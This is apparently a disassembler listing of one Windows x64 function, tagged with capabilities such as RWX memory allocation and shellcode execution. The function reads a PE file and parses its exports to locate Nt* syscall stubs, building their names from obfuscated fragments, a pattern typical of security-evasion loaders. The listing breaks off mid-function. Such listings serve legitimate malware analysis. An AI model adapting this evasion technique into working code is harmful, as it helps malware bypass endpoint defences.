Function at 0x140003e9d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3570
call fcn.140015940
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140014990
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x34d8], eax
mov eax, dword [rbp + 0x34d8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x34d0], rax
mov rax, qword [rbp + 0x34d0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x34c8], rax
mov rax, qword [rbp + 0x34c8]
add rax, 0x17
mov qword [rbp + 0x34c0], rax
mov rax, qword [rbp + 0x34c0]
add rax, 0x17
mov qword [rbp + 0x34b8], rax
mov rax, qword [rbp + 0x34b8]
add rax, 0x17
mov qword [rbp + 0x34b0], rax
mov rax, qword [rbp + 0x34b0]
add rax, 0x17
mov qword [rbp + 0x34a8], rax
mov rax, qword [rbp + 0x34a8]
add rax, 0x17
mov qword [rbp + 0x34a0], rax
mov rax, qword [rbp + 0x34a0]
add rax, 0x17
mov qword [rbp + 0x3498], rax
mov rax, qword [rbp + 0x3498]
add rax, 0x17
mov qword [rbp + 0x3490], rax
mov rax, qword [rbp + 0x3490]
add rax, 0x17
mov qword [rbp + 0x3488], rax
mov rax, qword [rbp + 0x3488]
add rax, 0x17
mov qword [rbp + 0x3480], rax
mov rax, qword [rbp + 0x3480]
add rax, 0x17
mov qword [rbp + 0x3478], rax
mov rax, qword [rbp + 0x3478]
add rax, 0x17
mov qword [rbp + 0x3470], rax
mov rax, qword [rbp + 0x3470]
add rax, 0x17
mov qword [rbp + 0x3468], rax
mov rax, qword [rbp + 0x3468]
add rax, 0x17
mov qword [rbp + 0x3460], rax
mov rax, qword [rbp + 0x3460]
add rax, 0x17
mov qword [rbp + 0x3458], rax
mov rax, qword [rbp + 0x3458]
add rax, 0x17
mov qword [rbp + 0x3450], rax
mov rax, qword [rbp + 0x3450]
add rax, 0x17
mov qword [rbp + 0x3448], rax
mov rax, qword [rbp + 0x3448]
add rax, 0x17
mov qword [rbp + 0x3440], rax
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0x3438], 0
mov dword [rbp + 0x3434], 0
mov dword [rbp + 0x388], 0
mov qword [rbp + 0x3428], 0
mov rax, qword [rbp + 0x34c8]
mov qword [0x1402e6038], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34c8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34c0]
mov qword [0x1402e6040], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34c0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34b8]
mov qword [0x1402e6048], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34b8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34b0]
mov qword [0x1402e6050], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34b0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34a8]
mov qword [0x1402e6058], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34a8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34a0]
mov qword [0x1402e6060], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34a0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3498]
mov qword [0x1402e6068], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3498]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3490]
mov qword [0x1402e6070], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3490]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3488]
mov qword [0x1402e6078], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3488]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3480]
mov qword [0x1402e6080], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3480]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3478]
mov qword [0x1402e6088], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3478]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3470]
mov qword [0x1402e6090], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3470]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3468]
mov qword [0x1402e6098], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3468]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3460]
mov qword [0x1402e60a0], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3460]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3458]
mov qword [0x1402e60a8], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3458]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3450]
mov qword [0x1402e60b0], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3450]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3448]
mov qword [0x1402e60b8], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3448]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3440]
mov qword [0x1402e60c0], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3440]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1402ba011]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x3438], rax
mov rax, qword [rbp + 0x3438]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x3434], eax
mov esi, dword [rbp + 0x3434]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x3428], rax
lea r8, [rbp + 0x388]
mov ecx, dword [rbp + 0x3434]
mov rdx, qword [rbp + 0x3428]
mov rax, qword [rbp + 0x3438]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x3428]
mov qword [rbp + 0x3420], rax
mov rax, qword [rbp + 0x3420]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3428]
add rax, rdx
mov qword [rbp + 0x3418], rax
mov rax, qword [rbp + 0x3418]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x3414], eax
mov rax, qword [rbp + 0x3418]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x3418]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x34e8], rax
mov rax, qword [rbp + 0x34e8]
mov qword [rbp + 0x3408], rax
mov rax, qword [rbp + 0x34e8]
mov qword [rbp + 0x34e0], rax
mov dword [rbp + 0x34dc], 0
jmp 0x1400045db
mov rax, qword [rbp + 0x34e8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400045cc
mov rax, qword [rbp + 0x34e8]
mov qword [rbp + 0x34e0], rax
jmp 0x1400045f1
add qword [rbp + 0x34e8], 0x28
add dword [rbp + 0x34dc], 1
mov rax, qword [rbp + 0x3418]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x34dc], eax
jl 0x1400045a2
mov edx, dword [rbp + 0x3414]
mov rax, qword [rbp + 0x3428]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x34e0]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x3400], rax
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x65f]
lea rax, [rbp + 0x630]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x610]
lea rdx, [rbp + 0x630]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x1402ba03a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x390]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x630]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x660]
mov rcx, qword [rbp + 0x34c8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140004a97
lea rsi, [0x1402ba054]
jmp 0x140004a9e
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x90f]
lea rax, [rbp + 0x8e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x680]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x910]
mov rcx, qword [rbp + 0x34c0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140004ee2
lea rsi, [0x1402ba054]
jmp 0x140004ee9
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0xbff]
lea rax, [rbp + 0xbd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x1402ba074]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xb30]
lea rdx, [rbp + 0xb50]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1402ba046]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1402ba04e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x930]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0xc00]
mov rcx, qword [rbp + 0x34b8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140005385
lea rsi, [0x1402ba054]
jmp 0x14000538c
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0xe2f]
lea rax, [rbp + 0xe00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x1402ba076]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xd60]
lea rdx, [rbp + 0xd80]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xd40]
lea rdx, [rbp + 0xd60]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xd20]
lea rdx, [rbp + 0xd40]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
